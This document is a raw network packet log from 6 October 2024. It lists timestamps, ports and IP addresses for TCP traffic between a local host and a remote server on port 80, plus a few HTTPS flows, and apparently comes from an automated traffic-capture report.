Oct 6, 2024 22:33:15.123142958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123158932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123176098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123183012 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123195887 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123208046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123220921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123229027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123243093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123251915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123265028 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123275042 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123289108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123297930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123311996 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123322964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123337030 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123346090 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123359919 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123369932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123383045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123406887 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123430014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123436928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123471022 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123701096 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123716116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123729944 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123739958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123753071 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123769045 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123776913 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123791933 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123809099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123816013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123825073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123842955 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123851061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123863935 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123877048 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123889923 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123900890 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123914003 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123925924 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123938084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123948097 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123960972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123971939 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.123986006 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.123996019 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124018908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124068022 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124083042 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124099970 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124108076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124116898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124130964 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124138117 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124154091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124171972 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124180079 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124187946 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124205112 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124212027 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124224901 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124238014 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124254942 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124393940 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124408960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124435902 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124447107 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124461889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124473095 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124486923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124495029 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124509096 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124517918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124527931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124541998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124551058 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124564886 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124574900 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124588966 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124598980 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124613047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124623060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124644995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124654055 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124667883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124687910 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124695063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124702930 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124717951 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.124725103 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.124756098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128066063 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128092051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128107071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128165007 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128174067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128185987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128196955 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128210068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128220081 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128235102 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128247023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128269911 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128277063 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128285885 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128304958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128328085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128340960 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128355980 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128365993 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128380060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128388882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128400087 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128412008 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128446102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128457069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128484964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128494978 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128506899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128523111 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128535032 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.128546000 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.128568888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.138792992 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.141781092 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.141793013 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.142195940 CEST	49788	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.142201900 CEST	443	49788	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.149389982 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.149463892 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.153719902 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.153748035 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.153762102 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.153774977 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.153781891 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.155852079 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.155877113 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.155957937 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.156073093 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 6, 2024 22:33:15.156088114 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 6, 2024 22:33:15.207611084 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207634926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207649946 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207674026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207688093 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207703114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207720041 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.207729101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207755089 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.207776070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.207812071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207825899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207853079 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207860947 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.207868099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.207880974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.207891941 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.207916975 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208038092 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208054066 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208069086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208085060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208085060 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208098888 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208106041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208141088 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208163023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208309889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208324909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208340883 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208350897 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208367109 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208374023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208386898 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208398104 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208408117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208422899 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208432913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208446026 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208455086 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208470106 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208478928 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208501101 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208655119 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208668947 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208688974 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208694935 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208703995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208719015 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208811998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208826065 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208841085 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208851099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208858967 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208875895 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208883047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208897114 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208911896 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208933115 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208940029 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208951950 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208961964 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.208971024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.208992958 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209222078 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209235907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209264040 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209271908 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209285021 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209300041 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209314108 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209328890 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209341049 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209356070 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209364891 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209374905 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209387064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209398031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209412098 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209420919 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209434986 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209444046 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209456921 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209466934 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209481001 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209490061 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209503889 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209512949 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209526062 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209536076 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209557056 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209793091 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209808111 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209822893 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209835052 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209846973 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209953070 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209968090 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.209979057 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.209988117 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210000038 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210009098 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210021973 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210031986 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210043907 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210056067 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210067987 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210077047 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210088968 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210100889 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210112095 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210122108 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210134983 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210144997 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210156918 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210166931 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210180998 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210191011 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210202932 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210211992 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210226059 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210235119 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210246086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210258961 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210269928 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210278988 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210292101 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210304976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210321903 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210552931 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210592031 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210725069 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210741997 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210762024 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210773945 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210782051 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210797071 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210817099 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210824013 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210833073 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210849047 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210856915 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210869074 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210880995 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210891962 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210901976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210913897 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210925102 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210937023 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210946083 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210958958 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210968971 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.210983992 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.210994005 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211005926 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211015940 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211029053 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211038113 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211051941 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211061954 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211075068 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211086035 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211098909 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211108923 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211122990 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211133003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211146116 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211155891 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211178064 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211185932 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211213112 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211451054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211464882 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211479902 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211498976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211498976 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211519003 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211525917 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211550951 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211565018 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211585045 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211592913 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211604118 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211615086 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211625099 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211638927 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211647987 CEST	49741	80	192.168.2.4	141.98.233.156
Oct 6, 2024 22:33:15.211662054 CEST	80	49741	141.98.233.156	192.168.2.4
Oct 6, 2024 22:33:15.211672068 CEST	49741	80	192.168.2.4	141.98.233.156
